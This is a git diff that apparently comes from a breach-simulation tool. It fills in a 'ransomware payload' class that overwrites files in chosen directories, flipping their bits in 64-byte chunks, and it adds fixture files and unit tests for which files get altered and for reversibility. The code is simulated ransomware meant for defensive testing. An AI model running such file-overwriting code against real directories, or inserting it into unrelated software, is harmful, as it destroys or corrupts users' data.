diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py
index f58a9c397..6e5b99067 100644
--- a/monkey/infection_monkey/ransomware/ransomware_payload.py
+++ b/monkey/infection_monkey/ransomware/ransomware_payload.py
@@ -2,6 +2,7 @@ import logging
 from pathlib import Path
 
 from infection_monkey.ransomware.valid_file_extensions import VALID_FILE_EXTENSIONS_FOR_ENCRYPTION
+from infection_monkey.utils import bit_manipulators
 from infection_monkey.utils.dir_utils import (
     file_extension_filter,
     filter_files,
@@ -13,6 +14,8 @@ from infection_monkey.utils.environment import is_windows_os
 
 LOG = logging.getLogger(__name__)
 
+CHUNK_SIZE = 64
+
 
 class RansomewarePayload:
     def __init__(self, config: dict):
@@ -36,8 +39,18 @@ class RansomewarePayload:
         return filter_files(all_files, file_filters)
 
     def _encrypt_files(self, file_list):
-        for file in file_list:
-            self._encrypt_file(file)
+        for filepath in file_list:
+            self._encrypt_file(filepath)
 
-    def _encrypt_file(self, file):
-        pass
+    def _encrypt_file(self, filepath):
+        with open(filepath, "rb+") as f:
+            data = f.read(CHUNK_SIZE)
+            while data:
+                num_bytes_read = len(data)
+
+                encrypted_data = bit_manipulators.flip_bits(data)
+
+                f.seek(-num_bytes_read, 1)
+                f.write(encrypted_data)
+
+                data = f.read(CHUNK_SIZE)
diff --git a/monkey/tests/data_for_tests/ransomware_targets/all_zeros.pdf b/monkey/tests/data_for_tests/ransomware_targets/all_zeros.pdf
new file mode 100644
index 000000000..1716e6bfb
Binary files /dev/null and b/monkey/tests/data_for_tests/ransomware_targets/all_zeros.pdf differ
diff --git a/monkey/tests/data_for_tests/ransomware_targets/shortcut.lnk b/monkey/tests/data_for_tests/ransomware_targets/shortcut.lnk
new file mode 100644
index 000000000..be9fbc9d7
--- /dev/null
+++ b/monkey/tests/data_for_tests/ransomware_targets/shortcut.lnk
@@ -0,0 +1 @@
+This is a shortcut.
diff --git a/monkey/tests/data_for_tests/ransomware_targets/subdir/hello.txt b/monkey/tests/data_for_tests/ransomware_targets/subdir/hello.txt
new file mode 100644
index 000000000..cd0875583
--- /dev/null
+++ b/monkey/tests/data_for_tests/ransomware_targets/subdir/hello.txt
@@ -0,0 +1 @@
+Hello world!
diff --git a/monkey/tests/data_for_tests/ransomware_targets/test_keyboard.txt b/monkey/tests/data_for_tests/ransomware_targets/test_keyboard.txt
new file mode 100644
index 000000000..25008a376
--- /dev/null
+++ b/monkey/tests/data_for_tests/ransomware_targets/test_keyboard.txt
@@ -0,0 +1,2 @@
+ABCDEFGHIJNLMNOPQRSTUVWXYZabcdefghijnlmnopqrstuvwxyz1234567890!@#$%^&*()
+The quick brown fox jumps over the lazy dog.
diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py
new file mode 100644
index 000000000..2a066fbb9
--- /dev/null
+++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py
@@ -0,0 +1,114 @@
+import hashlib
+import os
+import shutil
+from pathlib import Path
+
+import pytest
+from tests.utils import is_user_admin
+
+from infection_monkey.ransomware.ransomware_payload import RansomewarePayload
+
+SUBDIR = "subdir"
+ALL_ZEROS_PDF = "all_zeros.pdf"
+HELLO_TXT = "hello.txt"
+SHORTCUT_LNK = "shortcut.lnk"
+TEST_KEYBOARD_TXT = "test_keyboard.txt"
+TEST_LIB_DLL = "test_lib.dll"
+
+ALL_ZEROS_PDF_CLEARTEXT_SHA256 = "ab3df617aaa3140f04dc53f65b5446f34a6b2bdbb1f7b78db8db4d067ba14db9"
+HELLO_TXT_CLEARTEXT_SHA256 = "0ba904eae8773b70c75333db4de2f3ac45a8ad4ddba1b242f0b3cfc199391dd8"
+SHORTCUT_LNK_CLEARTEXT_SHA256 = "5069c8b7c3c70fad55bf0f0790de787080b1b4397c4749affcd3e570ff53aad9"
+TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 = (
+    "9d1a38784b7eefef6384bfc4b89048017db840adace11504a947016072750b2b"
+)
+TEST_LIB_DLL_CLEARTEXT_SHA256 = "0922d3132f2378edf313b8c2b6609a2548879911686994ca45fc5c895a7e91b1"
+
+ALL_ZEROS_PDF_ENCRYPTED_SHA256 = "779c176e820dbdaf643419232cb4d2760360c8633d6fe209cf706707db799b4d"
+TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 = (
+    "80701f3694abdd25ef3df7166b3fc5189b2afb4df32f7d5adbfed61ad07b9cd5"
+)
+
+
+def hash_file(filepath: Path):
+    sha256 = hashlib.sha256()
+    with open(filepath, "rb") as f:
+        for block in iter(lambda: f.read(65536), b""):
+            sha256.update(block)
+
+    return sha256.hexdigest()
+
+
+@pytest.fixture
+def ransomware_target(tmp_path, data_for_tests_dir):
+    ransomware_target_data = Path(data_for_tests_dir) / "ransomware_targets"
+    shutil.copytree(ransomware_target_data, tmp_path, dirs_exist_ok=True)
+
+    return tmp_path
+
+
+@pytest.fixture
+def ransomware_payload_config(ransomware_target):
+    return {"linux_dir": str(ransomware_target), "windows_dir": str(ransomware_target)}
+
+
+@pytest.fixture
+def ransomware_payload(ransomware_payload_config):
+    return RansomewarePayload(ransomware_payload_config)
+
+
+def test_file_with_excluded_extension_not_encrypted(tmp_path, ransomware_payload):
+    ransomware_payload.run_payload()
+
+    assert hash_file(tmp_path / TEST_LIB_DLL) == TEST_LIB_DLL_CLEARTEXT_SHA256
+
+
+def test_shortcut_not_encrypted(tmp_path, ransomware_payload):
+    ransomware_payload.run_payload()
+
+    assert hash_file(tmp_path / SHORTCUT_LNK) == SHORTCUT_LNK_CLEARTEXT_SHA256
+
+
+@pytest.mark.skipif(
+    os.name == "nt" and not is_user_admin(), reason="Test requires admin rights on Windows"
+)
+def test_symlink_not_encrypted(tmp_path, ransomware_payload):
+    SYMLINK = "symlink.pdf"
+    link_path = tmp_path / SYMLINK
+    link_path.symlink_to(tmp_path / TEST_LIB_DLL)
+
+    ransomware_payload.run_payload()
+
+    assert hash_file(tmp_path / SYMLINK) == TEST_LIB_DLL_CLEARTEXT_SHA256
+
+
+def test_file_with_included_extension_encrypted(tmp_path, ransomware_payload):
+    assert hash_file(tmp_path / ALL_ZEROS_PDF) == ALL_ZEROS_PDF_CLEARTEXT_SHA256
+    assert hash_file(tmp_path / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256
+
+    ransomware_payload.run_payload()
+
+    assert hash_file(tmp_path / ALL_ZEROS_PDF) == ALL_ZEROS_PDF_ENCRYPTED_SHA256
+    assert hash_file(tmp_path / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256
+
+
+def test_file_encrypted_in_place(tmp_path, ransomware_payload):
+    expected_all_zeros_inode = os.stat(tmp_path / ALL_ZEROS_PDF).st_ino
+    expected_test_keyboard_inode = os.stat(tmp_path / TEST_KEYBOARD_TXT).st_ino
+
+    ransomware_payload.run_payload()
+
+    actual_all_zeros_inode = os.stat(tmp_path / ALL_ZEROS_PDF).st_ino
+    actual_test_keyboard_inode = os.stat(tmp_path / TEST_KEYBOARD_TXT).st_ino
+
+    assert expected_all_zeros_inode == actual_all_zeros_inode
+    assert expected_test_keyboard_inode == actual_test_keyboard_inode
+
+
+def test_encryption_reversible(tmp_path, ransomware_payload):
+    assert hash_file(tmp_path / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256
+
+    ransomware_payload.run_payload()
+    assert hash_file(tmp_path / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256
+
+    ransomware_payload.run_payload()
+    assert hash_file(tmp_path / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256